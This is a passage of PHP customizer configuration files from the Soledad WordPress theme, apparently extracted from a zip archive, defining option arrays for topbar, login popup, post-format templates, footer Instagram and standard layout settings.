			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '11',
		),
	),
);
$options[] = array(
	'default'  => '11',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Sub-menu on Topbar Menu', 'soledad' ),
	'id'       => 'penci_top_bar_sub_menu_size',
	'ids'      => array(
		'desktop' => 'penci_top_bar_sub_menu_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '11',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Social Icons on Topbar', 'soledad' ),
	'id'       => 'penci_top_bar_social_size',
	'ids'      => array(
		'desktop' => 'penci_top_bar_social_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Login/Register Popup Form', 'soledad' ),
	'id'       => 'penci_lgpop_form_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_tbpop_title_size_mobile',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
	'default'  => '22',
);
$options[] = array(
	'label'    => __( 'Font Size for Titles', 'soledad' ),
	'id'       => 'penci_tbpop_title_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'default'  => '24',
	'ids'      => array(
		'desktop' => 'penci_tbpop_title_size',
		'mobile'  => 'penci_tbpop_title_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '24',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '22',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Input Fields', 'soledad' ),
	'id'       => 'penci_tbpop_inputfs',
	'ids'      => array(
		'desktop' => 'penci_tbpop_inputfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Submit Buttons', 'soledad' ),
	'id'       => 'penci_tbpop_submitfs',
	'ids'      => array(
		'desktop' => 'penci_tbpop_submitfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Text/Links', 'soledad' ),
	'id'       => 'penci_tbpop_textfs',
	'ids'      => array(
		'desktop' => 'penci_tbpop_textfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\    O  inc/customizer/config/sections/penci_section_spost_pformats_builder_section.phpnu [        <?php
$options = [];

$single_layout     = [];
$single_layout[''] = esc_attr__( 'None' );
$single_layouts    = get_posts( [
	'post_type'      => 'custom-post-template',
	'posts_per_page' => - 1,
	'meta_query'     => array(
		'relation' => 'OR',
		array(
			'key'     => 'penci_desktop_page_id',
			'compare' => 'NOT EXISTS',
		),
		array(
			'key'     => 'penci_desktop_page_id',
			'value'   => '',
			'compare' => '=',
		),
	),
] );
foreach ( $single_layouts as $slayout ) {
	$single_layout[ $slayout->post_name ] = $slayout->post_title;
}

$post_formats = [
	'aside'   => 'Aside',
	'chat'    => 'Chat',
	'gallery' => 'Gallery',
	'link'    => 'Link',
	'image'   => 'Image',
	'quote'   => 'Quote',
	'status'  => 'Status',
	'video'   => 'Video',
	'audio'   => 'Audio',
];

if ( ! empty( $post_formats ) ) {

	foreach ( $post_formats as $format => $label ) {

		$options[] = array(
			'default'     => '',
			'description' => __( 'This option will override the single post template. You can add new and edit a builder template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=custom-post-template' ) ) . '">this page</a>.', 'soledad' ),
			'sanitize'    => 'penci_sanitize_choices_field',
			'label'       => __( $label . ' Posts Format Template', 'soledad' ),
			'id'          => 'penci_' . $format . '_custom_template',
			'type'        => 'soledad-fw-select',
			'choices'     => $single_layout
		);
	}
}

return $options;PK     N\IajWH  WH  I  inc/customizer/config/sections/pencidesign_new_section_topbar_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Top Bar', 'soledad' ),
	'id'       => 'penci_top_bar_show',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Top Bar on Mobile', 'soledad' ),
	'id'       => 'penci_top_bar_hmobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Use Full Width Container for Top Bar', 'soledad' ),
	'id'       => 'penci_top_bar_full_width',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Use Container 1400px for Top Bar', 'soledad' ),
	'id'       => 'penci_top_bar_1400',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => 'toptext-topposts-topmenu-topsocial',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Re-order elements on Topbar', 'soledad' ),
	'id'          => 'penci_topbar_ordersec',
	'description' => '',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'toptext-topposts-topmenu-topsocial' => __('Custom Text - Top Posts - Topbar Menu - Social Icons','soledad' ),
		'toptext-topposts-topsocial-topmenu' => __('Custom Text - Top Posts - Social Icons - Topbar Menu','soledad' ),
		'toptext-topsocial-topposts-topmenu' => __('Custom Text - Social Icons - Top Posts - Topbar Menu','soledad' ),
		'toptext-topsocial-topmenu-topposts' => __('Custom Text - Social Icons - Topbar Menu - Top Posts','soledad' ),
		'toptext-topmenu-topsocial-topposts' => __('Custom Text - Topbar Menu - Social Icons - Top Posts','soledad' ),
		'toptext-topmenu-topposts-topsocial' => __('Custom Text - Topbar Menu - Top Posts - Social Icons','soledad' ),
		'topposts-toptext-topmenu-topsocial' => __('Top Posts - Custom Text - Topbar Menu - Social Icons','soledad' ),
		'topposts-toptext-topsocial-topmenu' => __('Top Posts - Custom Text - Social Icons - Topbar Menu','soledad' ),
		'topposts-topsocial-toptext-topmenu' => __('Top Posts - Social Icons - Custom Text - Topbar Menu','soledad' ),
		'topposts-topsocial-topmenu-toptext' => __('Top Posts - Social Icons - Topbar Menu - Custom Text','soledad' ),
		'topposts-topmenu-topsocial-toptext' => __('Top Posts - Topbar Menu - Social Icons - Custom Text','soledad' ),
		'topposts-topmenu-toptext-topsocial' => __('Top Posts - Topbar Menu - Custom Text - Social Icons','soledad' ),
		'topmenu-toptext-topsocial-topposts' => __('Topbar Menu - Custom Text - Social Icons - Top Posts','soledad' ),
		'topmenu-toptext-topposts-topsocial' => __('Topbar Menu - Custom Text - Top Posts - Social Icons','soledad' ),
		'topmenu-topsocial-toptext-topposts' => __('Topbar Menu - Social Icons - Custom Text - Top Posts','soledad' ),
		'topmenu-topsocial-topposts-toptext' => __('Topbar Menu - Social Icons - Top Posts - Custom Text','soledad' ),
		'topmenu-topposts-toptext-topsocial' => __('Topbar Menu - Top Posts - Custom Text - Social Icons','soledad' ),
		'topmenu-topposts-topsocial-toptext' => __('Topbar Menu - Top Posts - Social Icons - Custom Text','soledad' ),
		'topsocial-toptext-topposts-topmenu' => __('Social Icons - Custom Text - Top Posts - Topbar Menu','soledad' ),
		'topsocial-toptext-topmenu-topposts' => __('Social Icons - Custom Text - Topbar Menu - Top Posts','soledad' ),
		'topsocial-topposts-topmenu-toptext' => __('Social Icons - Top Posts - Topbar Menu - Custom Text','soledad' ),
		'topsocial-topposts-toptext-topmenu' => __('Social Icons - Top Posts - Custom Text - Topbar Menu','soledad' ),
		'topsocial-topmenu-toptext-topposts' => __('Social Icons - Topbar Menu - Custom Text - Top Posts','soledad' ),
		'topsocial-topmenu-topposts-toptext' => __('Social Icons - Topbar Menu - Top Posts - Custom Text','soledad' ),
	)
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Topbar Current Date/Custom Text', 'soledad' ),
	'id'       => 'penci_tbctext_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Topbar Custom Text', 'soledad' ),
	'id'       => 'penci_tbtext_enable',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Topbar Custom Text on Mobile', 'soledad' ),
	'id'       => 'penci_tbtext_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => "[penci_date format='l, F j Y'] - Welcome",
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Custom Text', 'soledad' ),
	'id'          => 'penci_tb_date_text',
	'description' => "If you want to show today's date - you can use shortcode <strong>[penci_date format='l, F j Y']</strong> - inside the custom text. Change format 'l, F j Y' to the date format you want. You can check more about date/time format <a class='wp-customizer-link' href='https://wordpress.org/support/article/formatting-date-and-time/' target='_blank'>here</a>",
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Top Posts/News Ticker', 'soledad' ),
	'id'       => 'penci_tbtoppost_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show "Top Posts" Section', 'soledad' ),
	'id'       => 'penci_toppost_enable',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show "Top Posts" on Mobile', 'soledad' ),
	'id'       => 'penci_toppost_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_toppost_width_mobile',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Custom Max-Width for "Top Posts"', 'soledad' ),
	'id'       => 'penci_toppost_width',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_toppost_width',
		'mobile'  => 'penci_toppost_width_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => esc_html__( 'Top Posts', 'soledad' ),
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom "Top Posts" Text', 'soledad' ),
	'id'          => 'penci_top_bar_custom_text',
	'description' => __( 'If you want hide Top Posts text, let empty this', 'soledad' ),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Style for "Top Posts" Text', 'soledad' ),
	'id'       => 'penci_top_bar_custom_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                => __('Default Style','soledad' ),
		'nticker-style-2' => __('Style 2','soledad' ),
		'nticker-style-3' => __('Style 3','soledad' ),
		'nticker-style-4' => __('Style 4','soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( '"Top Posts" Transition Animation', 'soledad' ),
	'id'       => 'penci_top_bar_animation',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''             => __('Slide In Up','soledad' ),
		'slideInRight' => __('Fade In Right','soledad' ),
		'fadeIn'       => __('Fade In','soledad' ),
		'marquee'      => __('Marquee','soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Uppercase for "Top Posts" text', 'soledad' ),
	'id'       => 'penci_top_bar_top_posts_lowcase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Top Posts By', 'soledad' ),
	'id'       => 'penci_top_bar_display_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array_merge(penci_jetpack_option(),array(
		''      => __('Recent Posts','soledad' ),
		'all'   => __('Popular Posts All Time','soledad' ),
		'week'  => __('Popular Posts Once Weekly','soledad' ),
		'month' => __('Popular Posts Once Month','soledad' ),
	))
);
$options[] = array(
	'default'  => 'category',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Filter Topbar By', 'soledad' ),
	'id'       => 'penci_top_bar_filter_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'category' => __('Category','soledad' ),
		'tags'     => __('Tags','soledad' ),
	)
);
$options[] = array(
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Select "Top Posts" Category', 'soledad' ),
	'type'        => 'soledad-fw-ajax-select',
	'id'          => 'penci_top_bar_category',
	'description' => __( 'This option just apply when you select "Filter Topbar by" Category above', 'soledad' ),
	'choices'     => call_user_func( function () {
		$category = [ '' ];
		$count    = wp_count_terms( 'category' );
		$limit    = 99;
		if ( (int) $count <= $limit ) {
			$categories = get_categories( [
				'hide_empty'   => false,
				'hierarchical' => true,
			] );
			foreach ( $categories as $value ) {
				$category[ $value->term_id ] = $value->name;
			}
		} else {
			$selected = get_theme_mod( 'penci_top_bar_category' );
			if ( ! empty( $selected ) ) {
				$categories = get_categories( [
					'hide_empty'   => false,
					'hierarchical' => true,
					'include'      => $selected,
				] );

				foreach ( $categories as $value ) {
					$category[ $value->term_id ] = $value->name;
				}
			}
		}

		return $category;
	} ),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Fill List Tags for Filter by Tags on "Top Post"', 'soledad' ),
	'id'          => 'penci_top_bar_tags',
	'description' => __( 'This option just apply when you select "Filter Topbar by" Tags above. And please fill list featured tags slug here, check <a class="wp-customizer-link" rel="nofollow" href="https://soledad.pencidesign.net/soledad-document/images/tags.png" target="_blank">this image</a> to know what is tags slug. Example for multiple tags slug, fill:  tag-1, tag-2, tag-3', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => '8',
	'sanitize' => 'absint',
	'label'    => __( 'Words Length for Post Titles on Top Posts', 'soledad' ),
	'id'       => 'penci_top_bar_title_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_top_bar_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '8',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Post Titles', 'soledad' ),
	'id'       => 'penci_top_bar_off_uppercase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Auto Play', 'soledad' ),
	'id'       => 'penci_top_bar_posts_autoplay',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '3000',
	'sanitize'    => 'absint',
	'label'       => __( 'Autoplay Timeout', 'soledad' ),
	'description' => __( '1000 = 1 second', 'soledad' ),
	'id'          => 'penci_top_bar_auto_time',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_top_bar_auto_time',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '3000',
		),
	),
);
$options[] = array(
	'default'     => '300',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Autoplay Speed', 'soledad' ),
	'description' => __( '1000 = 1 second', 'soledad' ),
	'id'          => 'penci_top_bar_auto_speed',
	'ids'         => array(
		'desktop' => 'penci_top_bar_auto_speed',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '300',
		),
	),
);
$options[] = array(
	'default'  => '10',
	'sanitize' => 'absint',
	'label'    => __( 'Amount of Posts Display on Top Posts', 'soledad' ),
	'id'       => 'penci_top_bar_posts_per_page',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_top_bar_posts_per_page',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '10',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Topbar Menu', 'soledad' ),
	'id'       => 'penci_tbmenu_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show Topbar Menu', 'soledad' ),
	'description' => __( 'If you enable topbar menu, you need go to Dashboard > Appearance > Menus > create/select a menu for your topbar > scroll down and check to "Topbar Menu" at the bottom', 'soledad' ),
	'id'          => 'penci_top_bar_enable_menu',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Topbar Menu on Mobile', 'soledad' ),
	'id'       => 'penci_tbmenu_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase on Topbar Menu', 'soledad' ),
	'id'       => 'penci_top_bar_off_uppercase_menu',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Social Media / Login & Register Popup', 'soledad' ),
	'id'       => 'penci_tbsocial_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Social Icons on Top Bar', 'soledad' ),
	'id'       => 'penci_top_bar_hide_social',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Use Brand Colors for Social Icons on Top Bar', 'soledad' ),
	'id'       => 'penci_top_bar_brand_social',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Display Login/Register?', 'soledad' ),
	'description' => __( 'Note that: By default, the register form is disabled, if you want to enable it, please go to Dashboard > Settings > General > on "Membership" check to "Anyone can register" - check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/register.png" target="_blank">this image</a> for more.<br>And if you want to add captcha for Login/Register form, you can use <a class="wp-customizer-link" href="https://wordpress.org/plugins/login-security-recaptcha/" target="_blank">this plugin</a> - this theme supports Google reCaptcha v2 from this plugin.', 'soledad' ),
	'id'          => 'penci_tblogin',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''      => __('None','soledad' ),
		'left'  => __('On the left social icons','soledad' ),
		'right' => __('On the right social icons','soledad' ),
	)
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Redirect to a custom URL after logging in.', 'soledad' ),
	'description' => __( 'By default, after successfully logging in, the user will be redirected to the current page URL. You can enter a different URL in this field to redirect the user to another page.', 'soledad' ),
	'id'          => 'penci_tblogin_redirect_url',
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Add Login Text', 'soledad' ),
	'description' => __( 'Text beside the icon, leave it empty to disable', 'soledad' ),
	'id'          => 'penci_tblogin_text',
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Social Icons & Login on Mobile', 'soledad' ),
	'id'       => 'penci_tbsocial_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn off uppercase for titles on login/register popup', 'soledad' ),
	'id'       => 'penci_tblogin_titleupper',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn off uppercase for submit buttons on login/register popup', 'soledad' ),
	'id'       => 'penci_tblogin_submitupper',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Login & Register Popup', 'soledad' ),
	'id'       => 'penci_tbsocial_heading_02',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide the Name Fields', 'soledad' ),
	'id'       => 'penci_tblogin_hide_name',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable the Phone Field', 'soledad' ),
	'id'       => 'penci_tblogin_show_phone',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable the checkbox to agree to the "Terms and Conditions."', 'soledad' ),
	'id'       => 'penci_tblogin_show_checkbox',
	'type'     => 'soledad-fw-toggle',
);
return $options;
PK     N\zm    I  inc/customizer/config/sections/penci_section_footer_instagram_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Display Footer Instagram Widget Title Overlay Images', 'soledad' ),
	'id'       => 'penci_footer_insta_title_overlay',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Instagram Icon on Footer Instagram', 'soledad' ),
	'id'       => 'penci_footer_insta_hide_icon',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_footer_insta_title_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
	'default'     => '14',
);
$options[] = array(
	'label'    => __( 'Font Size for Widget Title', 'soledad' ),
	'id'       => 'penci_footer_insta_title',
	'type'     => 'soledad-fw-size',
	'default'  => '16',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_footer_insta_title',
		'mobile'  => 'penci_footer_insta_title_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '16',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);

return $options;
PK     N\>3    I  inc/customizer/config/sections/penci_section_standard_classic_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Post Meta Overlay Featured Image', 'soledad' ),
	'description' => __( 'This option just apply for Standard Layout Only', 'soledad' ),
	'id'          => 'penci_standard_meta_overlay',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Thumbnail', 'soledad' ),
	'id'       => 'penci_standard_thumbnail',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Autoplay for Slider on Posts Format Gallery', 'soledad' ),
	'id'       => 'penci_standard_disable_autoplay_gallery',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make Featured Image Auto Crop', 'soledad' ),
	'id'       => 'penci_standard_thumb_crop',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Uppercase in Post Categories', 'soledad' ),
	'id'       => 'penci_standard_on_uppercase_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase in Post Title', 'soledad' ),
	'id'       => 'penci_standard_off_uppercase_title',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Post Title HTML Heading Tag', 'soledad' ),
	'id'       => 'penci_standard_title_tag',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''   => esc_html__( 'Default', 'soledad' ),
		'h1' => esc_html__( 'H1', 'soledad' ),
		'h2' => esc_html__( 'H2', 'soledad' ),
		'h3' => esc_html__( 'H3', 'soledad' ),
		'h4' => esc_html__( 'H4', 'soledad' ),
		'h5' => esc_html__( 'H5', 'soledad' ),
		'h6' => esc_html__( 'H6', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Post Sub Title', 'soledad' ),
	'id'       => 'penci_standard_show_sub_title',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Share Box', 'soledad' ),
	'id'       => 'penci_standard_share_box',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Category', 'soledad' ),
	'id'       => 'penci_standard_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Move Post Categories into Post Meta', 'soledad' ),
	'description' => __( 'This feature is only supported on category, tag, and archive pages.', 'soledad' ),
	'id'          => 'penci_standard_move_cat_meta',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Author', 'soledad' ),
	'id'       => 'penci_standard_author',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Reading Time', 'soledad' ),
	'id'       => 'penci_standard_readingtime',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date', 'soledad' ),
	'id'       => 'penci_standard_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Comment Count', 'soledad' ),
	'id'       => 'penci_standard_comment',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Views Count', 'soledad' ),
	'id'       => 'penci_standard_viewcount',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Line Above Post Excerpt', 'soledad' ),
	'id'       => 'penci_standard_remove_line',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Display Post Excerpt Instead of Full Content', 'soledad' ),
	'id'       => 'penci_standard_auto_excerpt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Hover Effect on "Continue Reading" Button', 'soledad' ),
	'id'       => 'penci_standard_effect_button',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make "Continue Reading" is A Button', 'soledad' ),
	'id'       => 'penci_standard_continue_reading_button',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '30',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Excerpt Length', 'soledad' ),
	'id'       => 'penci_standard_excerpt_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_standard_excerpt_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '30',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
